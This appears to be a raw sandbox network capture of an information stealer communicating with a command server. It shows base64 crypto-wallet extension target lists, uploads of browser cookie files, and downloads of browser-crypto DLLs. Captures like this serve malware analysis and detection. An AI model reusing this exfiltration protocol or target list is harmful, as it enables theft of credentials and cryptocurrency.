TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Sep 25, 2024 21:51:56.494119883 CEST	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Sep 25, 2024 21:51:56.494155884 CEST	1236	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Sep 25, 2024 21:51:56.494188070 CEST	1236	IN	Data Raw: 49 45 46 77 64 47 39 7a 49 46 64 68 62 47 78 6c 64 48 78 77 61 47 74 69 59 57 31 6c 5a 6d 6c 75 5a 32 64 74 59 57 74 6e 61 32 78 77 61 32 78 71 61 6d 31 6e 61 57 4a 76 61 47 35 69 59 58 77 78 66 44 42 38 4d 48 78 51 5a 58 52 79 59 53 42 42 63 48 Data Ascii: IEFwdG9zIFdhbGxldHxwaGtiYW1lZmluZ2dtYWtna2xwa2xqam1naWJvaG5iYXwxfDB8MHxQZXRyYSBBcHRvcyBXYWxsZXR8ZWpqbGFkaW5uY2tkZ2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWt
Sep 25, 2024 21:51:56.494229078 CEST	1236	IN	Data Raw: 59 57 5a 6a 61 48 77 78 66 44 42 38 4d 48 78 4e 57 55 74 4a 66 47 4a 74 61 57 74 77 5a 32 39 6b 63 47 74 6a 62 47 35 72 5a 32 31 75 63 48 42 6f 5a 57 68 6b 5a 32 4e 70 62 57 31 70 5a 47 56 6b 66 44 46 38 4d 48 77 77 66 46 4e 77 62 47 6c 72 61 58 Data Ascii: YWZjaHwxfDB8MHxNWUtJfGJtaWtwZ29kcGtjbG5rZ21ucHBoZWhkZ2NpbW1pZGVkfDF8MHwwfFNwbGlraXR5fGpoZmpmY2xlcGFjb2xkbWpta21kbG1nYW5mYWFsa2xifDF8MHwwfENvbW1vbktleXxjaGdmZWZqcGNvYmZibnBtaW9rZmpqYWdsYWhtbmRlZHwxfDB8MHxab2hvIFZhdWx0fGlna3Bjb2RoaWVvbXBlbG9uY2Z
Sep 25, 2024 21:51:56.494298935 CEST	1164	IN	Data Raw: 56 32 46 73 62 47 56 30 66 47 68 6c 5a 57 5a 76 61 47 46 6d 5a 6d 39 74 61 32 74 72 63 47 68 75 62 48 42 76 61 47 64 73 62 6d 64 74 59 6d 4e 6a 62 47 68 70 66 44 46 38 4d 48 77 77 66 46 68 32 5a 58 4a 7a 5a 53 42 58 59 57 78 73 5a 58 52 38 61 57 Data Ascii: V2FsbGV0fGhlZWZvaGFmZm9ta2trcGhubHBvaGdsbmdtYmNjbGhpfDF8MHwwfFh2ZXJzZSBXYWxsZXR8aWRubmJkcGxtcGhwZmxmbmxrb21ncGZicGNnZWxvcGd8MXwwfDB8Q29tcGFzcyBXYWxsZXQgZm9yIFNlaXxhbm9rZ21waG5jcGVra2hjbG1pbmdwaW1qbWNvb2lmYnwxfDB8MHxIQVZBSCBXYWxsZXR8Y25uY21kaGp
Sep 25, 2024 21:51:56.497311115 CEST	469	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GHDHDBAECGCAFHJJDAKF Host: 185.215.113.37 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 48 44 48 44 42 41 45 43 47 43 41 46 48 4a 4a 44 41 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 33 38 64 35 37 38 63 61 30 66 37 66 34 39 63 63 62 65 32 34 34 30 32 37 63 66 34 32 37 62 63 61 35 34 63 36 30 61 38 36 62 38 66 64 62 64 64 33 65 63 30 34 32 31 30 61 30 66 63 36 39 37 66 32 37 34 31 33 35 65 63 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 48 44 42 41 45 43 47 43 41 46 48 4a 4a 44 41 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 48 44 42 41 45 43 47 43 41 46 48 4a 4a 44 41 4b 46 2d 2d 0d 0a Data Ascii: ------GHDHDBAECGCAFHJJDAKFContent-Disposition: form-data; name="token"438d578ca0f7f49ccbe244027cf427bca54c60a86b8fdbdd3ec04210a0fc697f274135ec------GHDHDBAECGCAFHJJDAKFContent-Disposition: form-data; name="message"fplugins------GHDHDBAECGCAFHJJDAKF--
Sep 25, 2024 21:51:56.723135948 CEST	335	IN	HTTP/1.1 200 OK Date: Wed, 25 Sep 2024 19:51:56 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Sep 25, 2024 21:51:56.743288040 CEST	202	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IIIECAAKECFHIECBKJDH Host: 185.215.113.37 Content-Length: 6523 Connection: Keep-Alive Cache-Control: no-cache
Sep 25, 2024 21:51:56.743340015 CEST	6523	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 49 49 49 45 43 41 41 4b 45 43 46 48 49 45 43 42 4b 4a 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 33 38 64 35 37 Data Ascii: ------IIIECAAKECFHIECBKJDHContent-Disposition: form-data; name="token"438d578ca0f7f49ccbe244027cf427bca54c60a86b8fdbdd3ec04210a0fc697f274135ec------IIIECAAKECFHIECBKJDHContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Sep 25, 2024 21:51:57.489728928 CEST	202	IN	HTTP/1.1 200 OK Date: Wed, 25 Sep 2024 19:51:56 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 25, 2024 21:51:57.490580082 CEST	93	OUT	GET /0d60be0de163924d/sqlite3.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Sep 25, 2024 21:51:57.712866068 CEST	1236	IN	HTTP/1.1 200 OK Date: Wed, 25 Sep 2024 19:51:57 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Sep 25, 2024 21:51:57.712910891 CEST	1236	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Sep 25, 2024 21:51:57.712946892 CEST	1236	IN	Data Raw: ec 0c 89 c5 85 db 74 05 83 fb 03 75 2e 89 7c 24 08 89 5c 24 04 89 34 24 e8 19 f7 0a 00 83 ec 0c 89 c5 89 7c 24 08 89 5c 24 04 89 34 24 e8 64 fd ff ff 83 ec 0c 85 c0 75 02 31 ed c7 05 48 67 eb 61 ff ff ff ff 83 c4 1c 89 e8 5b 5e 5f 5d c3 8d b4 26 Data Ascii: tu.\|$\$4$\|$\$4$du1Hga[^_]&+C\|$\$4$w#t\|$\$4$u#u\|$D$4$t&up\|$D$4$rZ\|$D$4$Q
Sep 25, 2024 21:51:59.216701031 CEST	952	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JECGIIIDAKJDHJKFHIEB Host: 185.215.113.37 Content-Length: 751 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 45 43 47 49 49 49 44 41 4b 4a 44 48 4a 4b 46 48 49 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 33 38 64 35 37 38 63 61 30 66 37 66 34 39 63 63 62 65 32 34 34 30 32 37 63 66 34 32 37 62 63 61 35 34 63 36 30 61 38 36 62 38 66 64 62 64 64 33 65 63 30 34 32 31 30 61 30 66 63 36 39 37 66 32 37 34 31 33 35 65 63 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 43 47 49 49 49 44 41 4b 4a 44 48 4a 4b 46 48 49 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 43 47 49 49 49 44 41 4b 4a 44 48 4a 4b 46 48 49 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 [TRUNCATED] Data Ascii: ------JECGIIIDAKJDHJKFHIEBContent-Disposition: form-data; name="token"438d578ca0f7f49ccbe244027cf427bca54c60a86b8fdbdd3ec04210a0fc697f274135ec------JECGIIIDAKJDHJKFHIEBContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------JECGIIIDAKJDHJKFHIEBContent-Disposition: form-data; name="file"Lmdvb2dsZS5jb20JVFJVRQkvCUZBTFNFCTE2OTkwMTE2MTUJMVBfSkFSCTIwMjMtMTAtMDQtMTMKLmdvb2dsZS5jb20JRkFMU0UJLwlGQUxTRQkxNzEyMjMwODE1CU5JRAk1MTE9RWY1dlBGR3ctTVpZbzVod2UtMFRoQVZzbGJ4Ym12ZFZad2NIbnFWeldIQVUxNHY1M01OMVZ2d3ZRcThiYVlmZzItSUF0cVpCVjVOT0w1cnZqMk5XSXFyejM3N1VoTGRIdE9nRS10SmFCbFVCWUpFaHVHc1FkcW5pM29USmcwYnJxdjFkamRpTEp5dlRTVWhkSy1jNUpXYWRDU3NVTFBMemhTeC1GLTZ3T2c0Cg==------JECGIIIDAKJDHJKFHIEB--
Sep 25, 2024 21:51:59.945936918 CEST	202	IN	HTTP/1.1 200 OK Date: Wed, 25 Sep 2024 19:51:59 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=93 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 25, 2024 21:52:00.061294079 CEST	564	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DAFBGHCAKKFCAKEBKJKK Host: 185.215.113.37 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 41 46 42 47 48 43 41 4b 4b 46 43 41 4b 45 42 4b 4a 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 33 38 64 35 37 38 63 61 30 66 37 66 34 39 63 63 62 65 32 34 34 30 32 37 63 66 34 32 37 62 63 61 35 34 63 36 30 61 38 36 62 38 66 64 62 64 64 33 65 63 30 34 32 31 30 61 30 66 63 36 39 37 66 32 37 34 31 33 35 65 63 0d 0a 2d 2d 2d 2d 2d 2d 44 41 46 42 47 48 43 41 4b 4b 46 43 41 4b 45 42 4b 4a 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 44 41 46 42 47 48 43 41 4b 4b 46 43 41 4b 45 42 4b 4a 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------DAFBGHCAKKFCAKEBKJKKContent-Disposition: form-data; name="token"438d578ca0f7f49ccbe244027cf427bca54c60a86b8fdbdd3ec04210a0fc697f274135ec------DAFBGHCAKKFCAKEBKJKKContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------DAFBGHCAKKFCAKEBKJKKContent-Disposition: form-data; name="file"------DAFBGHCAKKFCAKEBKJKK--
Sep 25, 2024 21:52:00.777228117 CEST	202	IN	HTTP/1.1 200 OK Date: Wed, 25 Sep 2024 19:52:00 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 25, 2024 21:52:02.047525883 CEST	564	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BKKJKFBKKECFHJKEBKEH Host: 185.215.113.37 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 4b 4b 4a 4b 46 42 4b 4b 45 43 46 48 4a 4b 45 42 4b 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 33 38 64 35 37 38 63 61 30 66 37 66 34 39 63 63 62 65 32 34 34 30 32 37 63 66 34 32 37 62 63 61 35 34 63 36 30 61 38 36 62 38 66 64 62 64 64 33 65 63 30 34 32 31 30 61 30 66 63 36 39 37 66 32 37 34 31 33 35 65 63 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4b 4a 4b 46 42 4b 4b 45 43 46 48 4a 4b 45 42 4b 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4b 4a 4b 46 42 4b 4b 45 43 46 48 4a 4b 45 42 4b 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------BKKJKFBKKECFHJKEBKEHContent-Disposition: form-data; name="token"438d578ca0f7f49ccbe244027cf427bca54c60a86b8fdbdd3ec04210a0fc697f274135ec------BKKJKFBKKECFHJKEBKEHContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------BKKJKFBKKECFHJKEBKEHContent-Disposition: form-data; name="file"------BKKJKFBKKECFHJKEBKEH--
Sep 25, 2024 21:52:02.773339987 CEST	202	IN	HTTP/1.1 200 OK Date: Wed, 25 Sep 2024 19:52:02 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 25, 2024 21:52:03.239825964 CEST	93	OUT	GET /0d60be0de163924d/freebl3.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Sep 25, 2024 21:52:03.680172920 CEST	1236	IN	HTTP/1.1 200 OK Date: Wed, 25 Sep 2024 19:52:03 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Sep 25, 2024 21:52:04.823340893 CEST	93	OUT	GET /0d60be0de163924d/mozglue.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Sep 25, 2024 21:52:05.046544075 CEST	1236	IN	HTTP/1.1 200 OK Date: Wed, 25 Sep 2024 19:52:04 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Sep 25, 2024 21:52:05.724344015 CEST	94	OUT	GET /0d60be0de163924d/msvcp140.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Sep 25, 2024 21:52:05.947941065 CEST	1236	IN	HTTP/1.1 200 OK Date: Wed, 25 Sep 2024 19:52:05 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Sep 25, 2024 21:52:06.710079908 CEST	90	OUT	GET /0d60be0de163924d/nss3.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
